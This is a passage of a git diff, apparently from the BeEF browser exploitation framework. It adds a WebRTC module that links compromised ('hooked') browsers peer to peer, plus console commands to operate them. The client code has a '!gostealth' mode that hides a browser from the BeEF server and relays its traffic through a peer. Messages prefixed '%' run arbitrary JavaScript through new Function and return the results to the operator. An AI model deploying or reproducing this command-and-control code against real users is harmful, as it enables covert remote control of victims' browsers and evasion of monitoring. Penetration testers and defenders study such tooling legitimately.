diff --git a/core/main/client/lib/webrtcadapter.js b/core/main/client/lib/webrtcadapter.js new file mode 100644 index 000000000..aff5739ec --- /dev/null +++ b/core/main/client/lib/webrtcadapter.js @@ -0,0 +1,200 @@ +var RTCPeerConnection = null; +var getUserMedia = null; +var attachMediaStream = null; +var reattachMediaStream = null; +var webrtcDetectedBrowser = null; +var webrtcDetectedVersion = null; + +function maybeFixConfiguration(pcConfig) { + if (pcConfig === null) { + return; + } + for (var i = 0; i < pcConfig.iceServers.length; i++) { + if (pcConfig.iceServers[i].hasOwnProperty('urls')){ + if (pcConfig.iceServers[i]['urls'].length > 0) { + // In FF - we just take the FIRST STUN Server + pcConfig.iceServers[i]['url'] = pcConfig.iceServers[i]['urls'][0]; + } else { + pcConfig.iceServers[i]['url'] = pcConfig.iceServers[i]['urls']; + } + delete pcConfig.iceServers[i]['urls']; + } + } +} + +if (navigator.mozGetUserMedia) { + + webrtcDetectedBrowser = "firefox"; + + webrtcDetectedVersion = + parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1], 10); + + // The RTCPeerConnection object. + var RTCPeerConnection = function(pcConfig, pcConstraints) { + // .urls is not supported in FF yet. + maybeFixConfiguration(pcConfig); + return new mozRTCPeerConnection(pcConfig, pcConstraints); + } + + // The RTCSessionDescription object. + RTCSessionDescription = mozRTCSessionDescription; + + // The RTCIceCandidate object. + RTCIceCandidate = mozRTCIceCandidate; + + // Get UserMedia (only difference is the prefix). + // Code from Adam Barth. + getUserMedia = navigator.mozGetUserMedia.bind(navigator); + navigator.getUserMedia = getUserMedia; + + // Creates iceServer from the url for FF. + createIceServer = function(url, username, password) { + var iceServer = null; + var url_parts = url.split(':'); + if (url_parts[0].indexOf('stun') === 0) { + // Create iceServer with stun url. + iceServer = { 'url': url }; + } else if (url_parts[0].indexOf('turn') === 0) { + if (webrtcDetectedVersion < 27) { + // Create iceServer with turn url. + // Ignore the transport parameter from TURN url for FF version <=27. + var turn_url_parts = url.split("?"); + // Return null for createIceServer if transport=tcp. + if (turn_url_parts.length === 1 || + turn_url_parts[1].indexOf('transport=udp') === 0) { + iceServer = {'url': turn_url_parts[0], + 'credential': password, + 'username': username}; + } + } else { + // FF 27 and above supports transport parameters in TURN url, + // So passing in the full url to create iceServer. + iceServer = {'url': url, + 'credential': password, + 'username': username}; + } + } + return iceServer; + }; + + createIceServers = function(urls, username, password) { + var iceServers = []; + // Use .url for FireFox. + for (i = 0; i < urls.length; i++) { + var iceServer = createIceServer(urls[i], + username, + password); + if (iceServer !== null) { + iceServers.push(iceServer); + } + } + return iceServers; + } + + // Attach a media stream to an element. + attachMediaStream = function(element, stream) { + console.log("Attaching media stream"); + element.mozSrcObject = stream; + element.play(); + }; + + reattachMediaStream = function(to, from) { + console.log("Reattaching media stream"); + to.mozSrcObject = from.mozSrcObject; + to.play(); + }; + + // Fake get{Video,Audio}Tracks + if (!MediaStream.prototype.getVideoTracks) { + MediaStream.prototype.getVideoTracks = function() { + return []; + }; + } + + if (!MediaStream.prototype.getAudioTracks) { + MediaStream.prototype.getAudioTracks = function() { + return []; + }; + } +} else if (navigator.webkitGetUserMedia) { + + webrtcDetectedBrowser = "chrome"; + // Temporary fix until crbug/374263 is fixed. + // Setting Chrome version to 999, if version is unavailable. + var result = navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./); + if (result !== null) { + webrtcDetectedVersion = parseInt(result[2], 10); + } else { + webrtcDetectedVersion = 999; + } + + // Creates iceServer from the url for Chrome M33 and earlier. + createIceServer = function(url, username, password) { + var iceServer = null; + var url_parts = url.split(':'); + if (url_parts[0].indexOf('stun') === 0) { + // Create iceServer with stun url. + iceServer = { 'url': url }; + } else if (url_parts[0].indexOf('turn') === 0) { + // Chrome M28 & above uses below TURN format. + iceServer = {'url': url, + 'credential': password, + 'username': username}; + } + return iceServer; + }; + + // Creates iceServers from the urls for Chrome M34 and above. + createIceServers = function(urls, username, password) { + var iceServers = []; + if (webrtcDetectedVersion >= 34) { + // .urls is supported since Chrome M34. + iceServers = {'urls': urls, + 'credential': password, + 'username': username }; + } else { + for (i = 0; i < urls.length; i++) { + var iceServer = createIceServer(urls[i], + username, + password); + if (iceServer !== null) { + iceServers.push(iceServer); + } + } + } + return iceServers; + }; + + // The RTCPeerConnection object. + var RTCPeerConnection = function(pcConfig, pcConstraints) { + // .urls is supported since Chrome M34. + if (webrtcDetectedVersion < 34) { + maybeFixConfiguration(pcConfig); + } + return new webkitRTCPeerConnection(pcConfig, pcConstraints); + } + + // Get UserMedia (only difference is the prefix). + // Code from Adam Barth. + getUserMedia = navigator.webkitGetUserMedia.bind(navigator); + navigator.getUserMedia = getUserMedia; + + // Attach a media stream to an element. + attachMediaStream = function(element, stream) { + if (typeof element.srcObject !== 'undefined') { + element.srcObject = stream; + } else if (typeof element.mozSrcObject !== 'undefined') { + element.mozSrcObject = stream; + } else if (typeof element.src !== 'undefined') { + element.src = URL.createObjectURL(stream); + } else { + console.log('Error attaching stream to element.'); + } + }; + + reattachMediaStream = function(to, from) { + to.src = from.src; + }; +} else { + console.log("Browser does not appear to be WebRTC-capable"); +} diff --git a/core/main/client/webrtc.js b/core/main/client/webrtc.js new file mode 100644 index 000000000..5c85a55d5 --- /dev/null +++ b/core/main/client/webrtc.js @@ -0,0 +1,588 @@ +// +// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + + +/** + * @Literal object: beef.webrtc + * + * Manage the WebRTC peer to peer communication channels. + * This objects contains all the necessary client-side WebRTC components, + * allowing browsers to use WebRTC to communicate with each other. + * To provide signaling, the WebRTC extension sets up custom listeners. + * /rtcsignal - for sending RTC signalling information between peers + * /rtcmessage - for client-side rtc messages to be submitted back into beef and logged. + * + * To ensure signaling gets back to the peers, the hook.js dynamic construction also includes + * the signalling. + * + * This is all mostly a Proof of Concept + */ + +beefrtcs = {}; // To handle multiple peers - we need to have a hash of Beefwebrtc objects + // The key is the peer id +globalrtc = {}; // To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects + // these objects persist outside of everything else + // The key is the peer id +rtcstealth = false; // stealth should only be initiated from one peer - this global variable will contain: + // false - i.e not stealthed; or + // - i.e. the id of the browser which initiated stealth mode +rtcrecvchan = {}; // To handle multiple event channels - we need to have a global hash of these + // The key is the peer id + +// Beefwebrtc object - wraps everything together for a peer connection +// One of these per peer connection, and will be stored in the beefrtc global hash +function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) { + this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not + this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver + this.peerid = typeof peer !== 'undefined' ? peer : null; // id of this rtc peer + this.turnjson = turnjson; // set of TURN servers in the format: + // {"username": "", "uris": [ + // "turn::?transport=", + // "turn::?transport="]} + this.started = false; // Has signaling / dialing started for this peer + this.gotanswer = false; // For the caller - this determines whether they have received an SDP answer from the receiver + this.turnDone = false; // does the pcConfig have TURN servers added to it? + this.signalingReady = false; // the initiator (Caller) is always ready to signal. So this sets to true during init + // the receiver will set this to true once it receives an SDP 'offer' + this.msgQueue = []; // because the handling of SDP signals may happen in any order - we need a queue for them + this.pcConfig = null; // We set this during init + this.pcConstraints = {"optional": [{"googImprovedWifiBwe": true}]} // PeerConnection constraints + this.offerConstraints = {"optional": [], "mandatory": {}}; // Default SDP Offer Constraints - used in the caller + this.sdpConstraints = {'optional': [{'RtpDataChannels':true}]}; // Default SDP Constraints - used by caller and receiver + this.gatheredIceCandidateTypes = { Local: {}, Remote: {} }; // ICE Candidates + this.allgood = false; // Is this object / peer connection with the nominated peer ready to go? + this.dataChannel = null; // The data channel used by this peer + this.stunservers = stunservers; // set of STUN servers, in the format: + // ["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"] +} + +// Initialize the object +Beefwebrtc.prototype.initialize = function() { + if (this.peerid == null) { + return 0; // no peerid - NO DICE + } + + // Initialise the pcConfig hash with the provided stunservers + var stuns = JSON.parse(this.stunservers); + this.pcConfig = {"iceServers": [{"urls":stuns}]}; + + // We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF + this.forceTurn(this.turnjson); + + // Caller is always ready to create peerConnection. + this.signalingReady = this.initiator; + + // Start .. maybe + this.maybeStart(); + + // If the window is closed, send a signal to beef .. this is not all that great, so just commenting out + // window.onbeforeunload = function() { + // this.sendSignalMsg({type: 'bye'}); + // } + + return 1; // because .. yeah .. we had a peerid - this is good yar. +} + +//Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive) +//These values are now simply passed in from the config.yaml for the webrtc extension +Beefwebrtc.prototype.forceTurn = function(jason) { + var turnServer = JSON.parse(jason); + var iceServers = createIceServers(turnServer.uris, + turnServer.username, + turnServer.password); + if (iceServers !== null) { + this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers); + } + if (this.verbose) {console.log("Got TURN servers, will try and maybestart again..");} + this.turnDone = true; + this.maybeStart(); +} + +// Try and establish the RTC connection +Beefwebrtc.prototype.createPeerConnection = function() { + if (this.verbose) { + console.log('Creating RTCPeerConnnection with the following options:\n' + + ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' + + ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.'); + } + try { + // Create an RTCPeerConnection via the polyfill (webrtcadapter.js). + globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints); + globalrtc[this.peerid].onicecandidate = this.onIceCandidate; + if (this.verbose) { + console.log('Created RTCPeerConnnection with the following options:\n' + + ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' + + ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.'); + } + } catch (e) { + if (this.verbose) { + console.log('Failed to create PeerConnection, exception: '); + console.log(e); + } + return; + } + + // Assign event handlers to signalstatechange, iceconnectionstatechange, datachannel etc + globalrtc[this.peerid].onsignalingstatechange = this.onSignalingStateChanged; + globalrtc[this.peerid].oniceconnectionstatechange = this.onIceConnectionStateChanged; + globalrtc[this.peerid].ondatachannel = this.onDataChannel; + this.dataChannel = globalrtc[this.peerid].createDataChannel("sendDataChannel", {reliable:false}); +} + +// When the PeerConnection receives a new ICE Candidate +Beefwebrtc.prototype.onIceCandidate = function(event) { + var peerid = null; + + for (var k in beefrtcs) { + if (beefrtcs[k].allgood === false) { + peerid = beefrtcs[k].peerid; + } + } + + if (beefrtcs[peerid].verbose) { + console.log("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:"); + console.log(event); + } + + if (event.candidate) { + // Send the candidate to the peer via the BeEF signalling channel + beefrtcs[peerid].sendSignalMsg({type: 'candidate', + label: event.candidate.sdpMLineIndex, + id: event.candidate.sdpMid, + candidate: event.candidate.candidate}); + // Note this ICE candidate locally + beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate)); + } else { + if (beefrtcs[peerid].verbose) {console.log('End of candidates.');} + } +} + +// For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function +// This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage +// against the message directly +Beefwebrtc.prototype.processMessage = function(message) { + if (this.verbose) { + console.log('Signalling Message - S->C: ' + JSON.stringify(message)); + } + var msg = JSON.parse(message); + + if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer + if (this.verbose) {console.log('processing the message, as a receiver');} + if (msg.type === 'offer') { // This IS an SDP Offer + if (this.verbose) {console.log('.. and the message is an offer .. ');} + this.msgQueue.unshift(msg); // put it on the top of the msgqueue + this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true + this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed + } else { // This is NOT an SDP Offer - as the receiver, just add it to the queue + if (this.verbose) {console.log(' .. the message is NOT an offer .. ');} + this.msgQueue.push(msg); + } + } else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer + if (this.verbose) {console.log('processing the message, as the sender, no answers yet');} + if (msg.type === 'answer') { // This IS an SDP Answer + if (this.verbose) {console.log('.. and we have an answer ..');} + this.processSignalingMessage(msg); // Process the message directly + this.gotanswer = true; // We have now received an answer + //process all other queued message... + while (this.msgQueue.length > 0) { + this.processSignalingMessage(this.msgQueue.shift()); + } + } else { // This is NOT an SDP Answer - as the caller, just add it to the queue + if (this.verbose) {console.log('.. not an answer ..');} + this.msgQueue.push(msg); + } + } else { // For all other messages just drop them in the queue + if (this.verbose) {console.log('processing a message, but, not as a receiver, OR, the rtc is already up');} + this.processSignalingMessage(msg); + } +} + +// Send a signalling message .. +Beefwebrtc.prototype.sendSignalMsg = function(message) { + var msgString = JSON.stringify(message); + if (this.verbose) {console.log('Signalling Message - C->S: ' + msgString);} + beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString}); +} + +// Used to record ICS candidates locally +Beefwebrtc.prototype.noteIceCandidate = function(location, type) { + if (this.gatheredIceCandidateTypes[location][type]) + return; + this.gatheredIceCandidateTypes[location][type] = 1; + // updateInfoDiv(); +} + +// When the signalling state changes. We don't actually do anything with this except log it. +Beefwebrtc.prototype.onSignalingStateChanged = function(event) { + var localverbose = false; + + for (var k in beefrtcs) { + if (beefrtcs[k].verbose === true) { + localverbose = true; + } + } + + if (localverbose === true) {console.log("Signalling has changed to: " + event.target.signalingState);} +} + +// When the ICE Connection State changes - this is useful to determine connection statuses with peers. +Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) { + var peerid = null; + + for (k in globalrtc) { + if ((globalrtc[k].localDescription.sdp === event.target.localDescription.sdp) && (globalrtc[k].localDescription.type === event.target.localDescription.type)) { + peerid = k; + } + } + + if (beefrtcs[peerid].verbose) {console.log("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);} + + // ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for + // better candidates or connections + if (event.target.iceConnectionState === 'connected') { + //Send status to peer + window.setTimeout(function() { + beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState); + beefrtcs[peerid].allgood = true; + },1000); + } + + // Completed is similar to connected. Except, each of the ICE components are good, and no more testing remote candidates is done. + if (event.target.iceConnectionState === 'completed') { + window.setTimeout(function() { + beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState); + beefrtcs[peerid].allgood = true; + },1000); + } + + if ((rtcstealth == peerid) && (event.target.iceConnectionState === 'disconnected')) { + //I was in stealth mode, talking back to this peer - but it's gone offline.. come out of stealth + rtcstealth = false; + beefrtcs[peerid].allgood = false; + beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"}); + } else if ((rtcstealth == false) && (event.target.iceConnectionState === 'disconnected')) { + //I was not in stealth, and this peer has gone offline - send a message + beefrtcs[peerid].allgood = false; + beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"}); + } + // We don't handle situations where a stealthed peer loses a peer that is NOT the peer that made it go into stealth + // This is possibly a bad idea - @xntrik + + +} + +// This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth" +Beefwebrtc.prototype.goStealth = function() { + //stop the beef updater + rtcstealth = this.peerid; // this is a global variable + beef.updater.lock = true; + this.sendPeerMsg('Going into stealth mode'); + + setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3); +} + +// This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it +rtcpollPeer = function() { + if (rtcstealth == false) { + //my peer has disabled stealth mode + beef.updater.lock = false; + return; + } + + if (beefrtcs[rtcstealth].verbose) {console.log('lub dub');} + + beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth + + setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3); +} + +// When a data channel has been established - within here is the message handling function as well +Beefwebrtc.prototype.onDataChannel = function(event) { + var peerid = null; + for (k in globalrtc) { + if ((globalrtc[k].localDescription.sdp === event.currentTarget.localDescription.sdp) && (globalrtc[k].localDescription.type === event.currentTarget.localDescription.type)) { + peerid = k; + } + } + + if (beefrtcs[peerid].verbose) {console.log("Peer: " + peerid + " has just handled the onDataChannel event");} + rtcrecvchan[peerid] = event.channel; + + // This is the onmessage event handling within the datachannel + rtcrecvchan[peerid].onmessage = function(ev2) { + if (beefrtcs[peerid].verbose) {console.log("Received an RTC message from my peer["+peerid+"]: " + ev2.data);} + + // We've received the command to go into stealth mode + if (ev2.data == "!gostealth") { + if (beef.updater.lock == true) { + setTimeout(function() {beefrtcs[peerid].goStealth()},beef.updater.xhr_poll_timeout * 0.4); + } else { + beefrtcs[peerid].goStealth(); + } + + // The message to come out of stealth + } else if (ev2.data == "!endstealth") { + + if (rtcstealth != null) { + beefrtcs[rtcstealth].sendPeerMsg("Coming out of stealth..."); + rtcstealth = false; + } + + // Command to perform arbitrary JS (while stealthed) + } else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) { + if (beefrtcs[peerid].verbose) {console.log('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');} + beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1))); + + // Command to perform arbitrary JS (while NOT stealthed) + } else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) { + if (beefrtcs[peerid].verbose) {console.log('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));} + beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1))); + + // Just a plain text message .. (while stealthed) + } else if (rtcstealth != false) { + if (beefrtcs[peerid].verbose) {console.log('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');} + beefrtcs[rtcstealth].sendPeerMsg(ev2.data); + + // Just a plan text message (while NOT stealthed) + } else { + if (beefrtcs[peerid].verbose) {console.log('received a message from peer['+peerid+'] - sending it back to beef');} + beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data}); + } + } +} + +// How the browser executes received JS (this is pretty hacky) +Beefwebrtc.prototype.execCmd = function(input) { + var fn = new Function(input); + var res = fn(); + return res.toString(); +} + +// Shortcut function to SEND a data messsage +Beefwebrtc.prototype.sendPeerMsg = function(msg) { + if (this.verbose) {console.log('sendPeerMsg to ' + this.peerid);} + this.dataChannel.send(msg); +} + +// Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready +Beefwebrtc.prototype.maybeStart = function() { + if (this.verbose) {console.log("maybe starting ... ");} + + if (!this.started && this.signalingReady && this.turnDone) { + if (this.verbose) {console.log('Creating PeerConnection.');} + this.createPeerConnection(); + + this.started = true; + + if (this.initiator) { + if (this.verbose) {console.log("Making the call now .. bzz bzz");} + this.doCall(); + } else { + if (this.verbose) {console.log("Receiving a call now .. somebuddy answer da fone?");} + this.calleeStart(); + } + + } else { + if (this.verbose) {console.log("Not ready to start just yet..");} + } +} + +// RTC - create an offer - the caller runs this, while the receiver runs calleeStart() +Beefwebrtc.prototype.doCall = function() { + var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints); + var self = this; + globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints); + if (this.verbose) {console.log('Sending offer to peer, with constraints: \n' + + ' \'' + JSON.stringify(constraints) + '\'.');} +} + +// Helper method to merge SDP constraints +Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) { + var merged = cons1; + for (var name in cons2.mandatory) { + merged.mandatory[name] = cons2.mandatory[name]; + } + merged.optional.concat(cons2.optional); + return merged; +} + +// Sets the local RTC session description, sends this information back (via signalling) +// The caller uses this to set it's local description, and it then has to send this to the peer (via signalling) +// The receiver uses this information too - and vice-versa - hence the signaling +Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) { + // This fucking function does NOT receive a 'this' state, and you can't pass additional parameters + // Stupid .. javascript :( + // So I'm hacking it to find the peerid gah - I believe *this* is what means you can't establish peers concurrently + // i.e. this browser will have to wait for this peerconnection to establish before attempting to connect to the next one.. + var peerid = null; + + for (var k in beefrtcs) { + if (beefrtcs[k].allgood === false) { + peerid = beefrtcs[k].peerid; + } + } + if (beefrtcs[peerid].verbose) {console.log("For peer: " + peerid + " Running setLocalAndSendMessage...");} + + globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError); + beefrtcs[peerid].sendSignalMsg(sessionDescription); + + function onSetSessionDescriptionSuccess() { + if (beefrtcs[peerid].verbose) {console.log('Set session description success.');} + } + + function onSetSessionDescriptionError() { + if (beefrtcs[peerid].verbose) {console.log('Failed to set session description');} + } +} + +// If the browser can't build an SDP +Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) { + var localverbose = false; + + for (var k in beefrtcs) { + if (beefrtcs[k].verbose === true) { + localverbose = true; + } + } + if (localverbose === true) {console.log('Failed to create session description: ' + error.toString());} +} + +// Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart() +Beefwebrtc.prototype.calleeStart = function() { + // Callee starts to process cached offer and other messages. + while (this.msgQueue.length > 0) { + this.processSignalingMessage(this.msgQueue.shift()); + } +} + +// Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers +Beefwebrtc.prototype.processSignalingMessage = function(message) { + if (!this.started) { + if (this.verbose) {console.log('peerConnection has not been created yet!');} + return; + } + + if (message.type === 'offer') { + if (this.verbose) {console.log("Processing signalling message: OFFER");} + this.setRemote(message); + this.doAnswer(); + } else if (message.type === 'answer') { + if (this.verbose) {console.log("Processing signalling message: ANSWER");} + this.setRemote(message); + } else if (message.type === 'candidate') { + if (this.verbose) {console.log("Processing signalling message: CANDIDATE");} + var candidate = new RTCIceCandidate({sdpMLineIndex: message.label, + candidate: message.candidate}); + this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate)); + globalrtc[this.peerid].addIceCandidate(candidate, this.onAddIceCandidateSuccess, this.onAddIceCandidateError); + } else if (message.type === 'bye') { + this.onRemoteHangup(); + } +} + +// Used to set the RTC remote session +Beefwebrtc.prototype.setRemote = function(message) { + globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message), + onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError); + + function onSetRemoteDescriptionSuccess() { + if (this.verbose) {console.log("Set remote session description success.");} + } +} + +// As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below +Beefwebrtc.prototype.doAnswer = function() { + if (this.verbose) {console.log('Sending answer to peer.');} + globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints); +} + +// Helper method to determine what kind of ICE Candidate we've received +Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) { + if (candidateSDP.indexOf("typ relay ") >= 0) + return "TURN"; + if (candidateSDP.indexOf("typ srflx ") >= 0) + return "STUN"; + if (candidateSDP.indexOf("typ host ") >= 0) + return "HOST"; + return "UNKNOWN"; +} + +// Event handler for successful addition of ICE Candidates +Beefwebrtc.prototype.onAddIceCandidateSuccess = function() { + var localverbose = false; + + for (var k in beefrtcs) { + if (beefrtcs[k].verbose === true) { + localverbose = true; + } + } + if (localverbose === true) {console.log('AddIceCandidate success.');} +} + +// Event handler for unsuccessful addition of ICE Candidates +Beefwebrtc.prototype.onAddIceCandidateError = function(error) { + var localverbose = false; + + for (var k in beefrtcs) { + if (beefrtcs[k].verbose === true) { + localverbose = true; + } + } + if (localverbose === true) {console.log('Failed to add Ice Candidate: ' + error.toString());} +} + +// If a peer hangs up (we bring down the peerconncetion via the stop() method) +Beefwebrtc.prototype.onRemoteHangup = function() { + if (this.verbose) {console.log('Session terminated.');} + this.initiator = 0; + // transitionToWaiting(); + this.stop(); +} + +// Bring down the peer connection +Beefwebrtc.prototype.stop = function() { + this.started = false; // we're no longer started + this.signalingReady = false; // signalling isn't ready + globalrtc[this.peerid].close(); // close the RTCPeerConnection option + globalrtc[this.peerid] = null; // Remove it + this.msgQueue.length = 0; // clear the msgqueue + rtcstealth = false; // no longer stealth + this.allgood = false; // allgood .. NAH UH +} + +// The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status +// These are the methods which are executed via the custom extension of the hook.js +beef.webrtc = { + // Start the RTCPeerConnection process + start: function(initiator,peer,turnjson,stunservers,verbose) { + if (peer in beefrtcs) { + // If the RTC peer is not in a good state, try kickng it off again + // This is possibly not the correct way to handle this issue though :/ I.e. we'll now have TWO of these objects :/ + if (beefrtcs[peer].allgood == false) { + beefrtcs[peer] = new Beefwebrtc(initiator, peer, turnjson, stunservers, verbose); + beefrtcs[peer].initialize(); + } + } else { + // Standard behaviour for new peer connections + beefrtcs[peer] = new Beefwebrtc(initiator,peer,turnjson, stunservers, verbose); + beefrtcs[peer].initialize(); + } + }, + + // Check the status of all my peers .. + status: function(me) { + if (Object.keys(beefrtcs).length > 0) { + for (var k in beefrtcs) { + if (beefrtcs.hasOwnProperty(k)) { + beef.net.send('/rtcmessage',0,{peerid: k, message: "Status checking - allgood: " + beefrtcs[k].allgood}); + } + } + } else { + beef.net.send('/rtcmessage',0,{peerid: me, message: "No peers?"}); + } + } +} +beef.regCmp('beef.webrtc'); \ No newline at end of file diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 7fb7f118a..7a3496fda 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -21,7 +21,7 @@ module BeEF beef_js_path = "#{$root_dir}/core/main/client/" # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated - ext_js_sub_files = %w(lib/jquery-1.10.2.min.js lib/jquery-migrate-1.2.1.min.js lib/evercookie.js lib/json2.js lib/jools.min.js lib/mdetect.js) + ext_js_sub_files = %w(lib/jquery-1.10.2.min.js lib/jquery-migrate-1.2.1.min.js lib/evercookie.js lib/json2.js lib/jools.min.js lib/mdetect.js lib/webrtcadapter.js) # @note BeEF libraries: need Eruby evaluation and obfuscation beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js net/cors.js are.js) @@ -29,6 +29,10 @@ module BeEF if config.get("beef.http.websocket.enable") == true beef_js_sub_files << "websocket.js" end + # @note Load webrtc library only if WebRTC extension is enabled + if config.get("beef.extension.webrtc.enable") == true + beef_js_sub_files << "webrtc.js" + end # @note antisnatchor: leave timeout.js as the last one! beef_js_sub_files << "timeout.js" diff --git a/extensions/console/lib/command_dispatcher/core.rb b/extensions/console/lib/command_dispatcher/core.rb index afe81e191..294de6eef 100644 --- a/extensions/console/lib/command_dispatcher/core.rb +++ b/extensions/console/lib/command_dispatcher/core.rb @@ -29,6 +29,9 @@ class Core "review" => "Target a particular previously hooked (offline) hooked browser", "show" => "Displays 'zombies' or 'browsers' or 'commands'. (For those who prefer the MSF way)", "target" => "Target a particular online hooked browser", + "rtcgo" => "Initiate the WebRTC connectivity between two browsers", + "rtcmsg" => "Send a message from a browser to its peers", + "rtcstatus" => "Check a browsers WebRTC status" } end @@ -245,6 +248,121 @@ class Core print_status(" Usage: target ") end + def cmd_rtcgo(*args) + if BeEF::Core::Configuration.instance.get("beef.extension.webrtc.enable") != true + print_status("WebRTC Extension is not enabled..") + return false + end + + @@bare_opts.parse(args) {|opt,idx,val| + case opt + when "-h" + cmd_rtcgo_help + return false + end + } + + if args[0] == nil or args[1] == nil + cmd_rtcgo_help + return + end + + onlinezombies = [] + BeEF::Core::Models::HookedBrowser.all(:lastseen.gt => (Time.new.to_i - 30)).each do |z| + onlinezombies << z.id + end + + if not onlinezombies.include?(args[0].to_i) + print_status("Browser [id:"+args[0].to_s+"] does not appear to be online.") + return false + end + + if not onlinezombies.include?(args[1].to_i) + print_status("Browser [id:"+args[1].to_s+"] does not appear to be online.") + return false + end + + if args[2] == nil + BeEF::Core::Models::Rtcmanage.initiate(args[0].to_i,args[1].to_i) + else + if args[2] =~ (/^(true|t|yes|y|1)$/i) + BeEF::Core::Models::Rtcmanage.initiate(args[0].to_i,args[1].to_i,true) + else + BeEF::Core::Models::Rtcmanage.initiate(args[0].to_i,args[1].to_i) + end + end + + end + + def cmd_rtcgo_help(*args) + print_status("To kick off the WebRTC Peer to Peer between two browsers") + print_status(" Usage: rtcgo ") + end + + def cmd_rtcmsg(*args) + if BeEF::Core::Configuration.instance.get("beef.extension.webrtc.enable") != true + print_status("WebRTC Extension is not enabled..") + return false + end + + @@bare_opts.parse(args) {|opt,idx,val| + case opt + when "-h" + cmd_rtcmsg_help + return false + end + } + + if (args[0] == nil || args[1] == nil || args[2] == nil) + cmd_rtcmsg_help + return + else + p = "" + (2..args.length-1).each do |x| + p << args[x] << " " + end + p.chop! + BeEF::Core::Models::Rtcmanage.sendmsg(args[0].to_i,args[1].to_i,p) + end + end + + def cmd_rtcmsg_help(*args) + print_status("Sends a message from this browser to its peers") + print_status(" Usage: rtcmsg ") + print_status("There are a few formats that are available within the beefwebrtc client-side object:") + print_status(" !gostealth - will put the browser into a stealth mode") + print_status(" !endstealth - will put the browser into normal mode, and it will start talking to BeEF again") + print_status(" % - will execute JavaScript on sending the results back to - who will relay back to BeEF") + print_status(" - will simply send a datachannel message from to . If the is stealthed, it'll bounce the message back. If the is NOT stealthed, it'll send the message back to BeEF via the /rtcmessage handler") + end + + def cmd_rtcstatus(*args) + if BeEF::Core::Configuration.instance.get("beef.extension.webrtc.enable") != true + print_status("WebRTC Extension is not enabled..") + return false + end + + @@bare_opts.parse(args) 